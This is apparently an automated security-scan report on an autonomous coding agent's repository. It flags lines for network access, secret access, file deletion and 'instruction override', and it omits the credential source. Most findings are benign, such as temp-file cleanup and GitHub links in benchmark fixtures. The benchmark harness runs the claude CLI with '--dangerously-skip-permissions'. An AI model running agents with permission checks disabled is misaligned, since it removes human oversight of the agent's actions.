logging.info("Loki trigger server starting on port %d%s", port, mode_label) logging.info("Webhook endpoint: POST http://localhost:%d/webhook", port) logging.info("Health check: GET http://localhost:%d/health", port) - Network accessline 2632
logging.info("Webhook endpoint: POST http://localhost:%d/webhook", port) - Network accessline 2633
logging.info("Health check: GET http://localhost:%d/health", port) - Network accessline 2634
logging.info("Submit endpoint: POST http://localhost:%d/jobs", port) - Network accessline 2636
logging.info( "Receipt attestation: ACTIVE (kid %s), public keys at " "GET http://localhost:%d/.well-known/jwks.json%s", - Network accessline 2637
"Receipt attestation: ACTIVE (kid %s), public keys at " "GET http://localhost:%d/.well-known/jwks.json%s", signing_kid, port, - Network accessline 2638
"GET http://localhost:%d/.well-known/jwks.json%s", - Access to secretsline 2664
[Credential-related source omitted] - Access to secretsline 2671
[Credential-related source omitted]
autonomy/tui.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/verify.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 167
rm -f "$diff_file" 2>/dev/null || true - Dangerous shell operationline 173
pf="$(mktemp "${TMPDIR:-/tmp}/loki-verify-llm-prompt.XXXXXX")" || { rm -f "$diff_file"; return 0; } - Dangerous shell operationline 174
sf="$(mktemp "${TMPDIR:-/tmp}/loki-verify-llm-schema.XXXXXX")" || { rm -f "$diff_file" "$pf"; return 0; } - Dangerous shell operationline 224
rm -f "$diff_file" "$pf" "$sf" 2>/dev/null || true - Access to secretsline 965
[Credential-related source omitted] - Access to secretsline 1163
[Credential-related source omitted] - Access to secretsline 1168
[Credential-related source omitted] - Access to secretsline 1217
[Credential-related source omitted] - Access to secretsline 1224
[Credential-related source omitted] - Access to secretsline 1639
[Credential-related source omitted] - Access to secretsline 1675
[Credential-related source omitted] - Access to secretsline 1679
[Credential-related source omitted] - Access to secretsline 1687
[Credential-related source omitted] - Access to secretsline 1692
[Credential-related source omitted] - Access to secretsline 1710
[Credential-related source omitted] - Access to secretsline 1711
[Credential-related source omitted] - Access to secretsline 1713
[Credential-related source omitted] - Access to secretsline 1714
[Credential-related source omitted] - Access to secretsline 1715
[Credential-related source omitted] - Network accessline 1751
[Credential-related source omitted] - Network accessline 1753
[Credential-related source omitted] - Access to secretsline 1757
[Credential-related source omitted] - Access to secretsline 1781
[Credential-related source omitted] - Network accessline 1786
[Credential-related source omitted] - Network accessline 1787
[Credential-related source omitted] - Network accessline 1791
[Credential-related source omitted] - Network accessline 1793
[Credential-related source omitted] - Network accessline 1810
[Credential-related source omitted] - Network accessline 1811
[Credential-related source omitted] - Network accessline 1812
[Credential-related source omitted] - Network accessline 1814
[Credential-related source omitted] - Network accessline 1815
[Credential-related source omitted] - Network accessline 1816
[Credential-related source omitted] - Network accessline 1844
[Credential-related source omitted] - Network accessline 1845
[Credential-related source omitted] - Network accessline 1846
[Credential-related source omitted] - Access to secretsline 1854
[Credential-related source omitted] - Network accessline 1857
[Credential-related source omitted] - Network accessline 1858
[Credential-related source omitted] - Network accessline 1859
[Credential-related source omitted] - Network accessline 1860
[Credential-related source omitted] - Network accessline 1861
[Credential-related source omitted] - Network accessline 1872
[Credential-related source omitted] - Network accessline 1873
[Credential-related source omitted] - Network accessline 1874
[Credential-related source omitted] - Network accessline 1886
[Credential-related source omitted] - Access to secretsline 1891
[Credential-related source omitted] - Access to secretsline 1892
[Credential-related source omitted] - Access to secretsline 1893
[Credential-related source omitted] - Access to secretsline 1894
[Credential-related source omitted] - Access to secretsline 1895
[Credential-related source omitted] - Access to secretsline 1898
[Credential-related source omitted] - Network accessline 1907
[Credential-related source omitted] - Network accessline 1909
[Credential-related source omitted] - Dangerous shell operationline 1913
[Credential-related source omitted] - Network accessline 1913
[Credential-related source omitted] - Network accessline 1914
[Credential-related source omitted] - Network accessline 1915
[Credential-related source omitted] - Dangerous shell operationline 1916
[Credential-related source omitted] - Network accessline 1916
[Credential-related source omitted] - Network accessline 1942
[Credential-related source omitted] - Dangerous shell operationline 1963
[Credential-related source omitted] - Network accessline 1982
[Credential-related source omitted] - Network accessline 1983
[Credential-related source omitted] - Network accessline 1984
[Credential-related source omitted] - Dangerous shell operationline 1986
[Credential-related source omitted] - Access to secretsline 1992
[Credential-related source omitted] - Access to secretsline 2006
[Credential-related source omitted] - Dangerous shell operationline 2117
[Credential-related source omitted] - Access to secretsline 2128
[Credential-related source omitted] - Access to secretsline 2131
[Credential-related source omitted] - Access to secretsline 2254
[Credential-related source omitted] - Access to secretsline 2263
[Credential-related source omitted] - Access to secretsline 2268
[Credential-related source omitted] - Access to secretsline 2300
[Credential-related source omitted] - Access to secretsline 2301
[Credential-related source omitted] - Access to secretsline 2302
[Credential-related source omitted] - Access to secretsline 2317
[Credential-related source omitted] - Access to secretsline 2345
[Credential-related source omitted] - Access to secretsline 2346
[Credential-related source omitted] - Access to secretsline 2347
[Credential-related source omitted] - Access to secretsline 2349
[Credential-related source omitted] - Access to secretsline 2351
[Credential-related source omitted] - Access to secretsline 2352
[Credential-related source omitted] - Access to secretsline 2353
[Credential-related source omitted] - Access to secretsline 2354
[Credential-related source omitted] - Access to secretsline 2356
[Credential-related source omitted] - Access to secretsline 2357
[Credential-related source omitted] - Access to secretsline 2358
[Credential-related source omitted] - Access to secretsline 2363
[Credential-related source omitted] - Access to secretsline 2364
[Credential-related source omitted] - Access to secretsline 2365
[Credential-related source omitted] - Access to secretsline 2375
[Credential-related source omitted] - Access to secretsline 2376
[Credential-related source omitted] - Access to secretsline 2377
[Credential-related source omitted] - Access to secretsline 2378
[Credential-related source omitted] - Access to secretsline 2379
[Credential-related source omitted] - Access to secretsline 2396
[Credential-related source omitted] - Access to secretsline 2400
[Credential-related source omitted] - Access to secretsline 2407
[Credential-related source omitted] - Access to secretsline 2410
[Credential-related source omitted] - Access to secretsline 2419
[Credential-related source omitted] - Access to secretsline 2420
[Credential-related source omitted] - Access to secretsline 2435
[Credential-related source omitted] - Access to secretsline 2438
[Credential-related source omitted] - Access to secretsline 2442
[Credential-related source omitted] - Access to secretsline 2467
[Credential-related source omitted] - Access to secretsline 2809
[Credential-related source omitted] - Access to secretsline 2810
[Credential-related source omitted] - Access to secretsline 2811
[Credential-related source omitted] - Access to secretsline 2812
[Credential-related source omitted] - Access to secretsline 2941
[Credential-related source omitted] - Access to secretsline 2994
[Credential-related source omitted] - Access to secretsline 2995
[Credential-related source omitted] - Access to secretsline 3044
[Credential-related source omitted] - Access to secretsline 3063
[Credential-related source omitted] - Access to secretsline 3108
[Credential-related source omitted] - Access to secretsline 3140
[Credential-related source omitted] - Access to secretsline 3372
[Credential-related source omitted] - Dangerous shell operationline 3389
[Credential-related source omitted] - Access to secretsline 3397
[Credential-related source omitted] - Access to secretsline 3399
[Credential-related source omitted] - Access to secretsline 3464
[Credential-related source omitted] - Access to secretsline 3469
[Credential-related source omitted] - Access to secretsline 3481
[Credential-related source omitted] - Access to secretsline 3501
[Credential-related source omitted] - Access to secretsline 3508
[Credential-related source omitted] - Access to secretsline 3509
[Credential-related source omitted]
autonomy/voice.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Dangerous shell operationline 138
rm -f "$f" 2>/dev/null - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Network accessline 219
local response response=$(curl -s -X POST "https://api.openai.com/v1/audio/transcriptions" \ - Network accessline 220
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Dangerous shell operationline 245
rm -f "$txt_file" - Dangerous shell operationline 252
rm -f "$basename_txt" - Dangerous shell operationline 294
rm -f "$temp_file" - Access to secretsline 326
[Credential-related source omitted] - Access to secretsline 402
[Credential-related source omitted] - Access to secretsline 414
[Credential-related source omitted] - Access to secretsline 484
[Credential-related source omitted]
benchmarks/bench/prices.json
- Network accessline 17
], "sources": { "anthropic": "https://www.anthropic.com/pricing", - Network accessline 18
"sources": { "anthropic": "https://www.anthropic.com/pricing", "openai": "https://openai.com/api/pricing", - Network accessline 19
"anthropic": "https://www.anthropic.com/pricing", - Network accessline 20
"openai": "https://openai.com/api/pricing", - Network accessline 21
"google": "https://ai.google.dev/pricing"
benchmarks/h2h/RESULTS.md
- Instruction override signalline 355
passes none (`--configs oracle,noop`, run by `tests/min/h2h-harness.sh` on every PR). - **Configs.** - `raw-haiku`, `raw-opus`: `claude -p <task> --model haiku|opus --dangerously-skip-permissions`. - Instruction override signalline 356
- **Configs.** - `raw-haiku`, `raw-opus`: `claude -p <task> --model haiku|opus --dangerously-skip-permissions`. - `loki-haiku`: `bin/loki <task> --no-pr` with every stage pinned to Haiku. - Instruction override signalline 357
- `raw-haiku`, `raw-opus`: `claude -p <task> --model haiku|opus --dangerously-skip-permissions`.
benchmarks/h2h/fixtures/hard/go-expr-autoderef/meta.json
- Network accessline 25
], "source": { "upstream": "https://github.com/expr-lang/expr", - Network accessline 26
"source": { "upstream": "https://github.com/expr-lang/expr", "license": "MIT", - Network accessline 27
"upstream": "https://github.com/expr-lang/expr", - Network accessline 28
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/expr-lang/expr/issues/836", - Network accessline 29
"license_file": "LICENSE", "issue": "https://github.com/expr-lang/expr/issues/836", "fix_pr": "https://github.com/expr-lang/expr/pull/871", - Network accessline 30
"issue": "https://github.com/expr-lang/expr/issues/836", - Network accessline 31
"fix_pr": "https://github.com/expr-lang/expr/pull/871",
benchmarks/h2h/fixtures/hard/go-expr-withcontext/meta.json
- Network accessline 25
], "source": { "upstream": "https://github.com/expr-lang/expr", - Network accessline 26
"source": { "upstream": "https://github.com/expr-lang/expr", "license": "MIT", - Network accessline 27
"upstream": "https://github.com/expr-lang/expr", - Network accessline 28
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/expr-lang/expr/issues/823", - Network accessline 29
"license_file": "LICENSE", "issue": "https://github.com/expr-lang/expr/issues/823", "fix_pr": "https://github.com/expr-lang/expr/pull/883", - Network accessline 30
"issue": "https://github.com/expr-lang/expr/issues/823", - Network accessline 31
"fix_pr": "https://github.com/expr-lang/expr/pull/883",
benchmarks/h2h/fixtures/hard/go-expr-withcontext/task.txt
- Network accessline 7
https://go.dev/play/p/9dH2e9KuF2d
benchmarks/h2h/fixtures/hard/py-click-help-option-cls/meta.json
- Network accessline 48
], "source": { "upstream": "https://github.com/pallets/click", - Network accessline 49
"source": { "upstream": "https://github.com/pallets/click", "license": "BSD-3-Clause", - Network accessline 50
"upstream": "https://github.com/pallets/click", - Network accessline 51
"license": "BSD-3-Clause", "license_file": "LICENSE.txt", "issue": "https://github.com/pallets/click/issues/2832", - Network accessline 52
"license_file": "LICENSE.txt", "issue": "https://github.com/pallets/click/issues/2832", "fix_pr": "https://github.com/pallets/click/pull/2840", - Network accessline 53
"issue": "https://github.com/pallets/click/issues/2832", - Network accessline 54
"fix_pr": "https://github.com/pallets/click/pull/2840",
benchmarks/h2h/fixtures/hard/py-click-help-option-cls/task.txt
- Network accessline 5
This was found in this issue originally: - https://github.com/aboutcode-org/scancode-toolkit/issues/4044 - Network accessline 6
- https://github.com/aboutcode-org/scancode-toolkit/issues/4044 - Network accessline 8
This was introduced in this PR by @kdeldycke :wave: : - https://github.com/pallets/click/pull/2563 - Network accessline 9
- https://github.com/pallets/click/pull/2563
benchmarks/h2h/fixtures/hard/py-click-show-default-prompt/meta.json
- Network accessline 49
], "source": { "upstream": "https://github.com/pallets/click", - Network accessline 50
"source": { "upstream": "https://github.com/pallets/click", "license": "BSD-3-Clause", - Network accessline 51
"upstream": "https://github.com/pallets/click", - Network accessline 52
"license": "BSD-3-Clause", "license_file": "LICENSE.txt", "issue": "https://github.com/pallets/click/issues/2836", - Network accessline 53
"license_file": "LICENSE.txt", "issue": "https://github.com/pallets/click/issues/2836", "fix_pr": "https://github.com/pallets/click/pull/3328", - Network accessline 54
"issue": "https://github.com/pallets/click/issues/2836", - Network accessline 55
"fix_pr": "https://github.com/pallets/click/pull/3328",
benchmarks/h2h/fixtures/hard/py-mistune-codespan-escape/meta.json
- Network accessline 31
], "source": { "upstream": "https://github.com/lepture/mistune", - Network accessline 32
"source": { "upstream": "https://github.com/lepture/mistune", "license": "BSD-3-Clause", - Network accessline 33
"upstream": "https://github.com/lepture/mistune", - Network accessline 34
"license": "BSD-3-Clause", "license_file": "LICENSE", "issue": "https://github.com/lepture/mistune/issues/372", - Network accessline 35
"license_file": "LICENSE", "issue": "https://github.com/lepture/mistune/issues/372", "fix_pr": "https://github.com/lepture/mistune/pull/393", - Network accessline 36
"issue": "https://github.com/lepture/mistune/issues/372", - Network accessline 37
"fix_pr": "https://github.com/lepture/mistune/pull/393",
benchmarks/h2h/fixtures/hard/py-mistune-md-leading-newlines/meta.json
- Network accessline 31
], "source": { "upstream": "https://github.com/lepture/mistune", - Network accessline 32
"source": { "upstream": "https://github.com/lepture/mistune", "license": "BSD-3-Clause", - Network accessline 33
"upstream": "https://github.com/lepture/mistune", - Network accessline 34
"license": "BSD-3-Clause", "license_file": "LICENSE", "issue": "https://github.com/lepture/mistune/issues/366", - Network accessline 35
"license_file": "LICENSE", "issue": "https://github.com/lepture/mistune/issues/366", "fix_pr": "https://github.com/lepture/mistune/pull/481", - Network accessline 36
"issue": "https://github.com/lepture/mistune/issues/366", - Network accessline 37
"fix_pr": "https://github.com/lepture/mistune/pull/481",
benchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/meta.json
- Network accessline 33
], "source": { "upstream": "https://github.com/lepture/mistune", - Network accessline 34
"source": { "upstream": "https://github.com/lepture/mistune", "license": "BSD-3-Clause", - Network accessline 35
"upstream": "https://github.com/lepture/mistune", - Network accessline 36
"license": "BSD-3-Clause", "license_file": "LICENSE", "issue": "https://github.com/lepture/mistune/issues/426", - Network accessline 37
"license_file": "LICENSE", "issue": "https://github.com/lepture/mistune/issues/426", "fix_pr": "https://github.com/lepture/mistune/pull/427", - Network accessline 38
"issue": "https://github.com/lepture/mistune/issues/426", - Network accessline 39
"fix_pr": "https://github.com/lepture/mistune/pull/427",
benchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/task.txt
- Network accessline 5
I think the root cause is similar to https://github.com/lepture/mistune/issues/378#issuecomment-3678197092, state not being passed around when the TOC `ul` is rendered; the fix probably involves passing the parent state to `normalize_toc_it
benchmarks/h2h/fixtures/hard/py-sqlglot-hash-case/meta.json
- Network accessline 39
], "source": { "upstream": "https://github.com/tobymao/sqlglot", - Network accessline 40
"source": { "upstream": "https://github.com/tobymao/sqlglot", "license": "MIT", - Network accessline 41
"upstream": "https://github.com/tobymao/sqlglot", - Network accessline 42
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8598", - Network accessline 43
"license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8598", "fix_pr": "https://github.com/tobymao/sqlglot/pull/8599", - Network accessline 44
"issue": "https://github.com/tobymao/sqlglot/issues/8598", - Network accessline 45
"fix_pr": "https://github.com/tobymao/sqlglot/pull/8599",
benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/meta.json
- Network accessline 38
], "source": { "upstream": "https://github.com/tobymao/sqlglot", - Network accessline 39
"source": { "upstream": "https://github.com/tobymao/sqlglot", "license": "MIT", - Network accessline 40
"upstream": "https://github.com/tobymao/sqlglot", - Network accessline 41
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8626", - Network accessline 42
"license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8626", "fix_pr": "https://github.com/tobymao/sqlglot/pull/8632", - Network accessline 43
"issue": "https://github.com/tobymao/sqlglot/issues/8626", - Network accessline 44
"fix_pr": "https://github.com/tobymao/sqlglot/pull/8632",
benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/task.txt
- Network accessline 24
**Official Documentation** - MySQL: https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_stddev and https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_variance - Network accessline 25
- MySQL: https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_stddev and https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_variance - Network accessline 26
- DuckDB: https://duckdb.org/docs/stable/sql/functions/aggregates (`stddev` is an alias of `stddev_samp`)
benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-timestampadd/meta.json
- Network accessline 37
], "source": { "upstream": "https://github.com/tobymao/sqlglot", - Network accessline 38
"source": { "upstream": "https://github.com/tobymao/sqlglot", "license": "MIT", - Network accessline 39
"upstream": "https://github.com/tobymao/sqlglot", - Network accessline 40
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8808", - Network accessline 41
"license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8808", "fix_pr": "https://github.com/tobymao/sqlglot/pull/8809", - Network accessline 42
"issue": "https://github.com/tobymao/sqlglot/issues/8808", - Network accessline 43
"fix_pr": "https://github.com/tobymao/sqlglot/pull/8809",
benchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/meta.json
- Network accessline 38
], "source": { "upstream": "https://github.com/tobymao/sqlglot", - Network accessline 39
"source": { "upstream": "https://github.com/tobymao/sqlglot", "license": "MIT", - Network accessline 40
"upstream": "https://github.com/tobymao/sqlglot", - Network accessline 41
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8569", - Network accessline 42
"license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8569", "fix_pr": "https://github.com/tobymao/sqlglot/pull/8574", - Network accessline 43
"issue": "https://github.com/tobymao/sqlglot/issues/8569", - Network accessline 44
"fix_pr": "https://github.com/tobymao/sqlglot/pull/8574",
benchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/task.txt
- Network accessline 52
**Official Documentation** search "recursive" https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#with_clause - Network accessline 53
search "recursive" https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#with_clause https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#examples - Network accessline 54
https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#with_clause - Network accessline 55
https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#examples
benchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/meta.json
- Network accessline 37
], "source": { "upstream": "https://github.com/tobymao/sqlglot", - Network accessline 38
"source": { "upstream": "https://github.com/tobymao/sqlglot", "license": "MIT", - Network accessline 39
"upstream": "https://github.com/tobymao/sqlglot", - Network accessline 40
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8805", - Network accessline 41
"license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8805", "fix_pr": "https://github.com/tobymao/sqlglot/pull/8816", - Network accessline 42
"issue": "https://github.com/tobymao/sqlglot/issues/8805", - Network accessline 43
"fix_pr": "https://github.com/tobymao/sqlglot/pull/8816",
benchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/task.txt
- Network accessline 33
Snowflake reserved keywords (none of these words are listed): https://docs.snowflake.com/en/sql-reference/reserved-keywords
benchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/meta.json
- Network accessline 37
], "source": { "upstream": "https://github.com/tobymao/sqlglot", - Network accessline 38
"source": { "upstream": "https://github.com/tobymao/sqlglot", "license": "MIT", - Network accessline 39
"upstream": "https://github.com/tobymao/sqlglot", - Network accessline 40
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8595", - Network accessline 41
"license_file": "LICENSE", "issue": "https://github.com/tobymao/sqlglot/issues/8595", "fix_pr": "https://github.com/tobymao/sqlglot/pull/8596", - Network accessline 42
"issue": "https://github.com/tobymao/sqlglot/issues/8595", - Network accessline 43
"fix_pr": "https://github.com/tobymao/sqlglot/pull/8596",
benchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/task.txt
- Network accessline 47
**Official Documentation** - Teradata, *The Window Specification → ANSI Compliance*: https://docs.teradata.com/r/Enterprise_IntelliFlex_VMware/SQL-Functions-Expressions-and-Predicates/Ordered-Analytical/Window-Aggregate-Functions/The-Window - Network accessline 48
- Teradata, *The Window Specification → ANSI Compliance*: https://docs.teradata.com/r/Enterprise_IntelliFlex_VMware/SQL-Functions-Expressions-and-Predicates/Ordered-Analytical/Window-Aggregate-Functions/The-Window-Specification/ANSI-Complia - Network accessline 49
- Snowflake, *Window function syntax and usage*: https://docs.snowflake.com/sql-reference/functions-window-syntax
benchmarks/h2h/fixtures/hard/py-sqlparse-compare-expr/meta.json
- Network accessline 32
], "source": { "upstream": "https://github.com/andialbrecht/sqlparse", - Network accessline 33
"source": { "upstream": "https://github.com/andialbrecht/sqlparse", "license": "BSD-3-Clause", - Network accessline 34
"upstream": "https://github.com/andialbrecht/sqlparse", - Network accessline 35
"license": "BSD-3-Clause", "license_file": "LICENSE", "issue": "https://github.com/andialbrecht/sqlparse/issues/438", - Network accessline 36
"license_file": "LICENSE", "issue": "https://github.com/andialbrecht/sqlparse/issues/438", "fix_pr": "https://github.com/andialbrecht/sqlparse/pull/513", - Network accessline 37
"issue": "https://github.com/andialbrecht/sqlparse/issues/438", - Network accessline 38
"fix_pr": "https://github.com/andialbrecht/sqlparse/pull/513",
benchmarks/h2h/fixtures/hard/py-sqlparse-window-over/meta.json
- Network accessline 30
], "source": { "upstream": "https://github.com/andialbrecht/sqlparse", - Network accessline 31
"source": { "upstream": "https://github.com/andialbrecht/sqlparse", "license": "BSD-3-Clause", - Network accessline 32
"upstream": "https://github.com/andialbrecht/sqlparse", - Network accessline 33
"license": "BSD-3-Clause", "license_file": "LICENSE", "issue": "https://github.com/andialbrecht/sqlparse/issues/701", - Network accessline 34
"license_file": "LICENSE", "issue": "https://github.com/andialbrecht/sqlparse/issues/701", "fix_pr": "https://github.com/andialbrecht/sqlparse/pull/768", - Network accessline 35
"issue": "https://github.com/andialbrecht/sqlparse/issues/701", - Network accessline 36
"fix_pr": "https://github.com/andialbrecht/sqlparse/pull/768",
benchmarks/h2h/fixtures/hard/py-tomlkit-array-remove/meta.json
- Network accessline 33
], "source": { "upstream": "https://github.com/python-poetry/tomlkit", - Network accessline 34
"source": { "upstream": "https://github.com/python-poetry/tomlkit", "license": "MIT", - Network accessline 35
"upstream": "https://github.com/python-poetry/tomlkit", - Network accessline 36
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/python-poetry/tomlkit/issues/408", - Network accessline 37
"license_file": "LICENSE", "issue": "https://github.com/python-poetry/tomlkit/issues/408", "fix_pr": "https://github.com/python-poetry/tomlkit/pull/409", - Network accessline 38
"issue": "https://github.com/python-poetry/tomlkit/issues/408", - Network accessline 39
"fix_pr": "https://github.com/python-poetry/tomlkit/pull/409", - Network accessline 55
"submodules": { "tests/toml-test": { "upstream": "https://github.com/toml-lang/toml-test", - Network accessline 56
"tests/toml-test": { "upstream": "https://github.com/toml-lang/toml-test", "commit": "27837d38aa7cc9ff385ed1316a8fef68394395dd", - Network accessline 57
"upstream": "https://github.com/toml-lang/toml-test",
benchmarks/h2h/fixtures/hard/py-tomlkit-table-update/meta.json
- Network accessline 41
], "source": { "upstream": "https://github.com/python-poetry/tomlkit", - Network accessline 42
"source": { "upstream": "https://github.com/python-poetry/tomlkit", "license": "MIT", - Network accessline 43
"upstream": "https://github.com/python-poetry/tomlkit", - Network accessline 44
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/python-poetry/tomlkit/issues/230", - Network accessline 45
"license_file": "LICENSE", "issue": "https://github.com/python-poetry/tomlkit/issues/230", "fix_pr": "https://github.com/python-poetry/tomlkit/pull/234", - Network accessline 46
"issue": "https://github.com/python-poetry/tomlkit/issues/230", - Network accessline 47
"fix_pr": "https://github.com/python-poetry/tomlkit/pull/234", - Network accessline 63
"submodules": { "tests/toml-test": { "upstream": "https://github.com/toml-lang/toml-test", - Network accessline 64
"tests/toml-test": { "upstream": "https://github.com/toml-lang/toml-test", "commit": "27837d38aa7cc9ff385ed1316a8fef68394395dd", - Network accessline 65
"upstream": "https://github.com/toml-lang/toml-test",
benchmarks/h2h/fixtures/hard/py-tomlkit-value-bool/meta.json
- Network accessline 37
], "source": { "upstream": "https://github.com/python-poetry/tomlkit", - Network accessline 38
"source": { "upstream": "https://github.com/python-poetry/tomlkit", "license": "MIT", - Network accessline 39
"upstream": "https://github.com/python-poetry/tomlkit", - Network accessline 40
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/python-poetry/tomlkit/issues/165", - Network accessline 41
"license_file": "LICENSE", "issue": "https://github.com/python-poetry/tomlkit/issues/165", "fix_pr": "https://github.com/python-poetry/tomlkit/pull/168", - Network accessline 42
"issue": "https://github.com/python-poetry/tomlkit/issues/165", - Network accessline 43
"fix_pr": "https://github.com/python-poetry/tomlkit/pull/168", - Network accessline 60
"submodules": { "tests/toml-test": { "upstream": "https://github.com/toml-lang/toml-test", - Network accessline 61
"tests/toml-test": { "upstream": "https://github.com/toml-lang/toml-test", "commit": "27837d38aa7cc9ff385ed1316a8fef68394395dd", - Network accessline 62
"upstream": "https://github.com/toml-lang/toml-test",
benchmarks/h2h/h2h.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 287
[Credential-related source omitted] - Access to secretsline 289
[Credential-related source omitted] - Access to secretsline 291
[Credential-related source omitted] - Instruction override signalline 317
return ["bash", "-c", 'command claude "$@"', "claude", "-p", text, "--model", model, "--output-format", "json", "--dangerously-skip-permissions"] + ( - Instruction override signalline 318
"--output-format", "json", "--dangerously-skip-permissions"] + ( - Access to secretsline 368
[Credential-related source omitted] - Access to secretsline 914
[Credential-related source omitted] - Access to secretsline 1131
[Credential-related source omitted] - Access to secretsline 1175
[Credential-related source omitted]
benchmarks/h2h/replay/go-semver-dirty-lte/meta.json
- Network accessline 26
], "source": { "upstream": "https://github.com/Masterminds/semver", - Network accessline 27
"source": { "upstream": "https://github.com/Masterminds/semver", "license": "MIT", - Network accessline 28
"upstream": "https://github.com/Masterminds/semver", - Network accessline 29
"license": "MIT", "license_file": "LICENSE.txt", "issue": "https://github.com/Masterminds/semver/issues/141", - Network accessline 30
"license_file": "LICENSE.txt", "issue": "https://github.com/Masterminds/semver/issues/141", "fix_pr": "https://github.com/Masterminds/semver/pull/142", - Network accessline 31
"issue": "https://github.com/Masterminds/semver/issues/141", - Network accessline 32
"fix_pr": "https://github.com/Masterminds/semver/pull/142",
benchmarks/h2h/replay/go-semver-four-part/meta.json
- Network accessline 27
], "source": { "upstream": "https://github.com/Masterminds/semver", - Network accessline 28
"source": { "upstream": "https://github.com/Masterminds/semver", "license": "MIT", - Network accessline 29
"upstream": "https://github.com/Masterminds/semver", - Network accessline 30
"license": "MIT", "license_file": "LICENSE.txt", "issue": "https://github.com/Masterminds/semver/issues/185", - Network accessline 31
"license_file": "LICENSE.txt", "issue": "https://github.com/Masterminds/semver/issues/185", "fix_pr": "https://github.com/Masterminds/semver/pull/186", - Network accessline 32
"issue": "https://github.com/Masterminds/semver/issues/185", - Network accessline 33
"fix_pr": "https://github.com/Masterminds/semver/pull/186",
benchmarks/h2h/replay/py-boltons-research-tuples/meta.json
- Network accessline 32
], "source": { "upstream": "https://github.com/mahmoud/boltons", - Network accessline 33
"source": { "upstream": "https://github.com/mahmoud/boltons", "license": "BSD-3-Clause", - Network accessline 34
"upstream": "https://github.com/mahmoud/boltons", - Network accessline 35
"license": "BSD-3-Clause", "license_file": "LICENSE", "issue": "https://github.com/mahmoud/boltons/issues/393", - Network accessline 36
"license_file": "LICENSE", "issue": "https://github.com/mahmoud/boltons/issues/393", "fix_pr": "https://github.com/mahmoud/boltons/pull/394", - Network accessline 37
"issue": "https://github.com/mahmoud/boltons/issues/393", - Network accessline 38
"fix_pr": "https://github.com/mahmoud/boltons/pull/394",
benchmarks/h2h/replay/py-cachetools-grow-evict/meta.json
- Network accessline 32
], "source": { "upstream": "https://github.com/tkem/cachetools", - Network accessline 33
"source": { "upstream": "https://github.com/tkem/cachetools", "license": "MIT", - Network accessline 34
"upstream": "https://github.com/tkem/cachetools", - Network accessline 35
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tkem/cachetools/issues/405", - Network accessline 36
"license_file": "LICENSE", "issue": "https://github.com/tkem/cachetools/issues/405", "fix_pr": "https://github.com/tkem/cachetools/pull/408", - Network accessline 37
"issue": "https://github.com/tkem/cachetools/issues/405", - Network accessline 38
"fix_pr": "https://github.com/tkem/cachetools/pull/408",
benchmarks/h2h/replay/py-cachetools-ttl-overflow/meta.json
- Network accessline 32
], "source": { "upstream": "https://github.com/tkem/cachetools", - Network accessline 33
"source": { "upstream": "https://github.com/tkem/cachetools", "license": "MIT", - Network accessline 34
"upstream": "https://github.com/tkem/cachetools", - Network accessline 35
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/tkem/cachetools/issues/440", - Network accessline 36
"license_file": "LICENSE", "issue": "https://github.com/tkem/cachetools/issues/440", "fix_pr": "https://github.com/tkem/cachetools/pull/441", - Network accessline 37
"issue": "https://github.com/tkem/cachetools/issues/440", - Network accessline 38
"fix_pr": "https://github.com/tkem/cachetools/pull/441",
benchmarks/h2h/replay/py-moreit-value-chain/meta.json
- Network accessline 32
